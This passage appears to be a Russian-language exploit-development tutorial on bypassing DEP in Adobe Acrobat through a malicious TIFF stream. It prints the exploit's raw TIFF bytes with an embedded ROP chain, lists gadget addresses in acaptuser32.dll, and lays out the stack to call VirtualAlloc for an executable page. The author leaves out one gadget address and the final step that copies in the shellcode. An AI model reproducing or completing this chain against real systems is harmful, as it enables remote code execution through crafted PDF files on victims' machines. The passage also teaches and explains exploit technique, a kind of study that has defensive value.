Можно задействовать и схему с установкой атрибута READ | WRITE | EXECUTE с помощью VirtualProtect для страницы, в которой лежит Ваш шеллкод с последующей передачей в него управления. Суть не меняется.
К счастью в acaptuser32.dll импортирует функции VirtualAlloc/VirtualAllocEx, что не может не радовать. Если в вашем случае нет функций выделения страниц памяти, можно поискать другие функции типа VirtualProtect,WriteProcessMemory,FlushInstructionCache. Помните, что вы вольны использовать вызов системного сервиса ZwProtectVirtualMemory/ZwAllocateVirtualMemory и других в обход обертки kernelbase.dll, но при этом придется определить номер сервиса в SSDT на эксплуатируемой windows-машине (см. ntdll.dll для различных сборок Windows). Рассуждения по поводу определения номера сервиса опускаем, поскольку это не является предметом рассмотрения в посте.

Применительно к сплойту для tiff oпустим основную часть генератора pdf-документа, и возьмем суть, а именно содержимое tiff-потока. В оригинале оный выглядит так(нагрузка по запуску calc.exe вырезана):
tiff =
"\x49\x49\x2a\x00" + [TIFF_OFFSET].pack("I") +
("\x90" * SHELL_OFFSET ) + self.shellcode +
("\x90" * (TIFF_OFFSET - 8 - self.shellcode.size() - SHELL_OFFSET)) +
"\x07\x00\x00\x01\x03\x00\x01\x00" +
"\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"+
"\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"+
"\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"+
"\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"+
"\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"+
"\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00"+
"\xF7\x72\x00\x07"+ # адрес возврата на стеке
"\x04\x01"+
"\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15"+
"\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00"+
"\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8"+
"\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C"+
"\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01"+
"\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15"+
"\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"+
"\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11"+
"\x00\x07"

В процессе тестирования сплойта мы определяем, что акробатом вызывается функция mempcy(pvAddressOnStack, pvSource, 0x130), включительно с данных \x00\x0C\x0C\x08\x24\x01\x01\x00 (см. выше tiff). После копирования стек выглядит следующим образом:
pvAddressOnStack+0x00: 0x080C0C00
pvAddressOnStack+0x04: 0x00010124
pvAddressOnStack+0x08: ... ; здесь был адрес возврата, который был перезаписан
pvAddressOnStack+0x0С: ...

Определенно, адрес нашей первой инструкции шеллкода должен быть записан в ячейку стека pvAddressOnStack+0x08. Мы для простоты заюзаем импортируемую VirtualAlloc, адрес на которую хранится в ячейке 0x10010110 импорта acaptuser32.dll. Тогда первой операцией шелкода должна быть (условно) операция разыменования ячейки 0x10010110 с целью получения адреса VirtualAlloc в контексте процесса с дальнейшим её вызовом. Для этого можно использовать связки инструкций изи acaptuser32.dll:
блок 1 с адресом 0x1000928A: код (pop eax) && (pop esi) && (retn)
блок 2 с адресом 0x10005355: код (eax = [eax]) && (pop esi) && (retn)
блок 3 с адресом 0x100055CF: код (jmp eax)

Теперь представим содержимое стека для наглядности:
pvAddressOnStack+0x08: 0x1000928A | адрес блока 1
pvAddressOnStack+0x0c: 0x10010110 | значение для eax
pvAddressOnStack+0x10: 0x0badf00d | значение для esi
pvAddressOnStack+0x14: 0x10005355 | адрес блока 2
pvAddressOnStack+0x18: 0x0badf00d | значение для esi
pvAddressOnStack+0x18: 0x100055CF | адрес блока 3

Поясняю вышепредставленный бред. К моменту выхода из уязвимой функции адрес возврата (он в pvAddressOnStack+0x08 ) будет указывать на наш код, который занесет адрес ячейки импорта, по которой лежит адрес VirtualAlloc. При выходе из первого блока управление уйдет на инструкцию разименования адреса импорта (eax = [eax]), после выполения которой в eax будет размещен адрес VirtualAlloc. При выходе из второго блока управление уйдет в блок 3, который передает управление в VirtualAlloc. И так, мы передали управление в Kernel32.dll::VirtualAlloc. В наших интересах она должна выделить процессу память, поэтому нужно позаботиться о параметрах для неё. Вспомним анатомию вызова WINAPI на уровне ассемблера:
push arg_N
push ...
push arg_1
push arg_0
call WINAPI SomeRoutine
WINAPI придерживается конвенции __stdcall, поэтому при выходе в вызывающую программу восстанавливает стек, зарезервированный вызывающим кодом для аргументов (вобщем вызвыает retn size_on_stack_with_args). В нашем случае, стек должен выглядеть следующим образом (продолжение):
pvAddressOnStack+0x1C: 0xXXXXXXXX | адрес блока 4 (закрыто от лентяев )
pvAddressOnStack+0x20: 0x00000000 | arg_0: lpAddress =NULL
pvAddressOnStack+0x24: 0x00001000 | arg_1: dwSize = 0x1000
pvAddressOnStack+0x28: 0x00003000 | arg_2: flAllocType= MEM_COMMIT | MEM_RESERVE
pvAddressOnStack+0x2C: 0x00000040 | arg_3: flProtect = READ | WRITE | EXECUTE

После выполения VirtualAlloc адрес выделенной памяти будет в eax, а управление перейдет по адресу, размещенному в стеке по адресу pvAddressOnStack+0x1C.

И так, мы имеем страницу памяти с атрибутами RWE. Думаю, принцип понятен. Далее используя блоки инструкций переносим шел в нашу страницу и передаем на неё управление. Собственно, реализацию этого я оставляю Вам, поскольку у автора нет желания выдавать рабочий сплойт в студию. Да и Вам будет полезно самим отточить навыки и раскрутить представленную методу.

Замечу, что можно вышеописанный подход с VirtualAlloc является не единственным. К примеру, вы можете заюзать VirtualProtect (о чем упоминалось выше) с параметром lpAddress, указывающим на стек. Но при использовании методики с VirtualProtect будьте внимательны: эта функция дает положительный результат и для не выровненного адреса, в следствии чего атрибуты защиты будут изменены и для страницы, в которую указывает адрес ((ULONG)lpAddress + dwSize).